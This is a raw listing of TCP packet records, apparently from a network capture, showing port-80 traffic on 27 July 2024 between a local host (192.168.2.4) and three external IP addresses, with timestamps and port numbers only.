Jul 27, 2024 05:39:20.395107031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395113945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395117044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395127058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395137072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395157099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395157099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395169020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395189047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395206928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395210981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395222902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395231009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395240068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395248890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395260096 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395278931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395292997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395339012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395348072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395355940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395364046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395373106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395380974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395390034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395390034 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395400047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395410061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395415068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395431042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395441055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395446062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395464897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395474911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395483017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395489931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395507097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395519018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395538092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395543098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395554066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395560026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395564079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395572901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395581961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395582914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395593882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395597935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395606995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395612955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395617008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395637989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395659924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395675898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395685911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395694017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395701885 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395710945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395723104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395734072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395739079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395750046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395776987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395832062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395843029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395850897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395859003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395868063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395870924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395876884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395896912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395909071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395952940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395962000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395970106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395978928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395987034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395998955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.396003008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.396013021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.396017075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.396028042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.396035910 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.396042109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.396044970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.396054983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.396059990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.396081924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.396101952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.446537018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.453026056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.595143080 CEST	80	49486	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:20.595268011 CEST	49486	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:20.625572920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.625632048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.625863075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.625890970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.625901937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.625911951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.625922918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.625940084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.625945091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.625967979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.625978947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.625989914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.625992060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626000881 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626012087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626013994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626028061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626036882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626044035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626061916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626071930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626082897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626085043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626101017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626111031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626118898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626131058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626131058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626142979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626153946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626159906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626164913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626176119 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626184940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626194000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626197100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626208067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626213074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626218081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626228094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626250029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626250029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626262903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626272917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626274109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626285076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626295090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626296997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626307011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626317024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626321077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626339912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626352072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626353979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626363993 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626374960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626384020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626390934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626394987 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626421928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626422882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626434088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626442909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626446962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626456976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626471996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626476049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626487017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626492023 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626498938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626518965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626524925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626532078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626542091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626543045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626554012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626573086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626597881 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626751900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626763105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626774073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626817942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626842976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626853943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626878977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626885891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626899004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626904964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626912117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626923084 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626923084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626934052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626943111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626952887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626962900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626962900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626975060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626986027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.626986980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.626998901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.627023935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.627052069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.705984116 CEST	49486	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:20.706322908 CEST	49487	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:20.711087942 CEST	80	49487	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:20.711160898 CEST	49487	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:20.711359024 CEST	49487	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:20.711427927 CEST	80	49486	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:20.711488962 CEST	49486	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:20.716067076 CEST	80	49487	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:21.173170090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:21.173187017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:21.178153038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:21.178241014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:21.474814892 CEST	80	49487	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:21.476741076 CEST	49487	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:21.477494001 CEST	49487	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:21.482393026 CEST	80	49487	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:21.727302074 CEST	80	49487	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:21.727395058 CEST	49487	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:21.887638092 CEST	49487	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:21.890744925 CEST	49488	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:21.893304110 CEST	80	49487	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:21.893382072 CEST	49487	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:21.895688057 CEST	80	49488	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:21.895773888 CEST	49488	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:21.897248030 CEST	49488	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:21.902066946 CEST	80	49488	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:21.992543936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:21.992611885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:22.103148937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:22.108298063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:22.292983055 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:22.293039083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:22.293057919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:22.293076992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:22.293082952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:22.293134928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:22.295286894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:22.300189972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:22.477826118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:22.477897882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:22.480766058 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:22.485717058 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:22.485789061 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:22.486762047 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:22.491663933 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:22.672375917 CEST	80	49488	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:22.672456026 CEST	49488	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:22.673079967 CEST	49488	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:22.677898884 CEST	80	49488	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:22.925422907 CEST	80	49488	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:22.925599098 CEST	49488	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:23.035666943 CEST	49488	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:23.035722971 CEST	49490	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:23.040999889 CEST	80	49490	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:23.041109085 CEST	49490	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:23.041244984 CEST	49490	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:23.041270018 CEST	80	49488	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:23.041364908 CEST	49488	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:23.046251059 CEST	80	49490	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:23.251472950 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.251528025 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.251564980 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.251599073 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.251602888 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.251631021 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.251631975 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.251662016 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.251667976 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.251678944 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.251701117 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.251713991 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.251734972 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.251744032 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.251771927 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.251780987 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.251801968 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.251816988 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.251857996 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.256791115 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.256858110 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.256864071 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.256891966 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.256905079 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.256926060 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.256938934 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.256969929 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.257051945 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.257097006 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.399815083 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.399887085 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.399923086 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.399986982 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400049925 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400077105 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400109053 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400119066 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400120020 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400142908 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400154114 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400154114 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400172949 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400186062 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400187016 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400204897 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400234938 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400254011 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400270939 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400300026 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400325060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400348902 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400361061 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400393963 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400424957 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400449991 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400458097 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400492907 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400511980 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400521994 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400557995 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.400572062 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.400607109 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.401460886 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.401508093 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.401524067 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.401557922 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.401587009 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.401621103 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.401637077 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.401654959 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.401669979 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.401686907 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.401704073 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.401729107 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.401736021 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.401777983 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.405654907 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.405688047 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.405711889 CEST	49489	80	192.168.2.4	185.215.113.16
